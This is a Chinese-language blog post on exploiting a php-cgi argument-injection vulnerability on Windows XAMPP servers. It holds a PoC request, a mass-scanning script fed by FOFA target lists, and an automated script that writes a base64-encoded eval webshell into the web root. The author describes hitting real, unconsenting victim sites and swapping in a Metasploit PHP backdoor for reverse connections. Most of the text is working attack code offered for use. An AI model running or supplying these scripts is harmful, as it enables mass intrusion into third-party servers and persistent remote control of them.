php-cgi漏洞利用

php-cgi漏洞利用

对喽,这里只是关于这个漏洞的利用方式,具体分析的可以看,先知社区

poc

c 复制代码
/php-cgi/php-cgi.exe?%ADd+allow_url_include%3Don+%ADd+auto_prepend_file%3Dphp%3A//input
REDIRECT-STATUS: 1

这个漏洞出来的有些久了,那就先来写个简单的批量检测脚本(找个大冤种测试)

pythonimport 复制代码
# 目标URL
import requests

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
        if "text" in response.text:
            print(url.replace('\n', '')+"存在漏洞")
    except:
        print(url.replace('\n', '') + "不存在漏洞")

这里有两种检测方式,第一种是通过检测返回包中的特定字符,第二种是通过网站状态码进行检测,都能找到大冤种,字典的话,通过fofa语法提取一些即可

那么也是找到了一个大冤种,

首先通过执行命令的方式找一下webshell应该存放的目录

这里网站的根目录也就是C:\\xampp\\htdocs\\,也就是xampp的默认目录,

配合file_put_contents方法,上传一句话木马,那么就是

c 复制代码
<?php file_put_contents("C:\\xampp\\htdocs\\phpinfo.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4="))

这会出现几个问题首先phpinfo.php如果在目录下存在的话,就无法写入,其次就是一句话木马的查杀问题,

当然了,如果不是默认路径的话,最简单的利用方式就是换盘符,也就是CDEFG都访问一下,那么写个py脚本,直接利用

c 复制代码
import requests
import re

for url in open("a.txt"):
    urls=url.replace('\n', '')+"/php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input";
    data = '<?php ?>'
    headers={
        "Redirect-Status":"1"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    try:

        response = requests.post(urls, data=data,proxies=proxies,headers=headers,verify=False)
        if response.status_code==200:
            print(url.replace('\n', '') + "存在漏洞")
            data1='<?php system("chdir")?>'
            response = requests.post(urls, data=data1, proxies=proxies, headers=headers, verify=False)
            pattern = r"[A-Za-z]:\\(?:[^\\\/:*?\"<>|]+\\)*[^\\\/:*?\"<>|]*"
            lujing=re.findall(pattern,response.text)
            path=lujing[0].replace("php","htdocs\\phpin.php").replace("\\","\\\\")
            data2= '<?php file_put_contents('+path+', base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2EnXSk7Pz4="));?>'
            response = requests.post(urls, data=data2, proxies=proxies, headers=headers, verify=False)
            response = requests.post(urls+"/phpin.fo",proxies=proxies, verify=False)
            if response.status_code==200:
                print(urls+"/phpin.fo")
    except:
        continue

代理我这边设置的是burp中转小飞机,使用的话,自行测试一下即可

第二种方法

msf生成php后门,然后直接替换POST中data的木马,但是这种模式有很大的局限性,回连是可以回连,执行命令等情况,经常会断开,可能是因为php不能够重复执行命令的原因

相关推荐
AltmanChan19 分钟前
大语言模型安全威胁
人工智能·安全·语言模型
马船长29 分钟前
红帆OA iorepsavexml.aspx文件上传漏洞
安全
hikktn8 小时前
如何在 Rust 中实现内存安全:与 C/C++ 的对比分析
c语言·安全·rust
龙哥·三年风水9 小时前
群控系统服务端开发模式-应用开发-个人资料
分布式·php·群控系统
23zhgjx-NanKon10 小时前
华为eNSP:QinQ
网络·安全·华为
23zhgjx-NanKon10 小时前
华为eNSP:mux-vlan
网络·安全·华为
昔我往昔10 小时前
阿里云文本内容安全处理
安全·阿里云·云计算
棱角~~13 小时前
盘点和嗨格式一样好用的10款数据恢复!!
数据库·经验分享·安全·电脑·学习方法
Dingww101113 小时前
梧桐数据库中的网络地址类型使用介绍分享
数据库·oracle·php
NETFARMER运营坛13 小时前
如何优化 B2B 转化率?这些步骤你不可不知
大数据·安全·阿里云·ai·ai写作